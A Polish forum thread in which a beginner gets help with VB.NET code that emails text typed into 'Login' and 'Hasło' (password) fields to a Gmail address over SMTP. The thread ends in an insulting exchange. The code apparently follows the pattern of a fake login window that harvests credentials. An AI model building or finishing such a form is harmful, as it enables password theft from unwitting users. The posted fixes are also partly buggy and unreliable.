Problem z kodem

[MyszaPL]

Chodzi o to że podświetla mi na złoto tę linijkę

 

mail.Body="Login: " + login.Text & Chr(12) + "Hasło: " + haslo.Text

 

 

Proszę o pomoc dopiero zaczynam z visual basic

[Sopelek997]

może + zamiast &?

[MyszaPL]

No spoko tylko teraz zauważyłem w error Error 1 'login' is not declared. It may be inaccessible due to its protection level. C:\Documents and Settings\Administrator.KOMPUTER\Ustawienia lokalne\Dane aplikacji\Temporary Projects\WindowsApplication1\Form1.vb 27 33 WindowsApplication1

i jeszcze

 

Error 2 'haslo' is not declared. It may be inaccessible due to its protection level. C:\Documents and Settings\Administrator.KOMPUTER\Ustawienia lokalne\Dane aplikacji\Temporary Projects\WindowsApplication1\Form1.vb 27 68 WindowsApplication1

[Sopelek997]

to musisz dać więcej kodu.

[MyszaPL]

aha a umiesz to zrobić albo ktoś inny to umie jak tak to by bardzo prosił o zrobienie tego

[Sopelek997]

Czy jest coś nie zrozumiałego w mojej wypowiedzi? Bez kodu nikt nic nie da rady zrobić...

[Bennq123]

Dim login As String
Dim haslo As String

[MyszaPL]

teraz to tylko to wyskakuje ;////

Error 1 'Text' is not a member of 'String'. C:\Documents and Settings\Administrator.KOMPUTER\Ustawienia lokalne\Dane aplikacji\Temporary Projects\WindowsApplication1\Form1.vb 28 33 WindowsApplication1

 

 

Error 2 'Text' is not a member of 'String'. C:\Documents and Settings\Administrator.KOMPUTER\Ustawienia lokalne\Dane aplikacji\Temporary Projects\WindowsApplication1\Form1.vb 28 68 WindowsApplication1

 

 

 

 

TUTAJ DAJE CAŁY KOD:

 

Dim smtpServer As New SmtpClient()

Dim mail As New MailMessage()

smtpServer.Credentials = New Net.NetworkCredential("TWÓJLOGIN bez @gmail.com)", "HASŁO DO SKRZYNKI")

smtpServer.Port = 587

smtpServer.Host = "smtp.gmail.com"

smtpServer.EnableSsl = True

mail = New MailMessage()

mail.From = New MailAddress("TWÓ[email protected]")

mail.To.Add("TWÓ[email protected]")

mail.Subject = ("temat")

mail.Body = "Login: " + login.Text & Chr(12) + "Hasło: " + haslo.Text

smtpServer.Send(mail)

[Sopelek997]

nie tworzysz obiektów haslo i login, a próbujesz wyłuskać z nich dane...

[MyszaPL]

sorki to nie too ;//

to jest kod :

 

 

Imports System

Imports System.Net.Mail

Imports System.Threading

 

Public Class Form1

 

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim smtpServer As New SmtpClient()

 

Dim mail As New MailMessage()

 

smtpServer.Credentials = New Net.NetworkCredential("twój login bez @gmail.com)", "hasło do skrzynki")

 

smtpServer.Port = 587

 

smtpServer.Host = "smtp.gmail.com"

 

smtpServer.EnableSsl = True

 

mail = New MailMessage()

 

mail.From = New MailAddress("twój [email protected]")

 

mail.To.Add("twój [email protected]")

 

mail.Subject = ("tematit")

 

mail.Body = "Login: " + login.Text + Chr(12) + "Hasło: " + haslo.Text

 

smtpServer.Send(mail)

[Bennq123]

Imports System
Imports System.Net.Mail
Imports System.Threading

Public Class Form1
   Dim login As String
   Dim haslo As String
   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim smtpServer As New SmtpClient()
       Dim mail As New MailMessage()
       smtpServer.Credentials = New Net.NetworkCredential("twój login bez @gmail.com)", "hasło do skrzynki")
       smtpServer.Port = 587
       smtpServer.Host = "smtp.gmail.com"
       smtpServer.EnableSsl = True
       mail = New MailMessage()
       mail.From = New MailAddress("twój [email protected]")
       mail.To.Add("twój [email protected]")
       mail.Subject = ("tematit")
       mail.Body = "Login: " + login + Chr(12) + "Hasło: " + haslo
       login = textbox1.Text
       haslo = textbox2.text
       smtpServer.Send(mail)
   End Sub
End Class

[MyszaPL]

no już niby gyt :

 

Serwer SMTP wymaga bezpiecznego połączenia lub nie uwierzytelniono klienta. Odpowiedź serwera: 5.5.1 Authentication Required.

[MiszczuPower]

Imports System
Imports System.Net.Mail
Imports System.Threading

Public Class Form1
Dim login As String
Dim haslo As String
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
	Dim smtpServer As New SmtpClient()
	Dim mail As New MailMessage()
	smtpServer.Credentials = New Net.NetworkCredential("twój login bez @gmail.com)", "hasło do skrzynki")
	smtpServer.Port = 587
	smtpServer.Host = "smtp.gmail.com"
	smtpServer.EnableSsl = True
	mail = New MailMessage()
	mail.From = New MailAddress("twój [email protected]")
	mail.To.Add("twój [email protected]")
	mail.Subject = ("tematit")
	mail.Body = "Login: " + login + Chr(12) + "Hasło: " + haslo
	login = textbox1.Text
	haslo = textbox2.text
	smtpServer.Send(mail)
End Sub
End Class

Benek ty się ucz....

najpierw dodajesz zmienną dopiero potem inicjujesz...

[Bennq123]

Szymon... że tak powiem

 

 

Wypierdalaj!!

 

 

Nie każdy tak jak ty siedzi całymi dniami przed kompem. Gdy to poprawiałem byłem po 12 godzinach zapierdalania w robocie...

[MiszczuPower]

Szymon... że tak powiem

 

 

Wypierdalaj!!

 

 

Nie każdy tak jak ty siedzi całymi dniami przed kompem. Gdy to poprawiałem byłem po 12 godzinach zapierdalania w robocie...

Łosz, łosz, ktoś tutaj nie lubi krytyki :<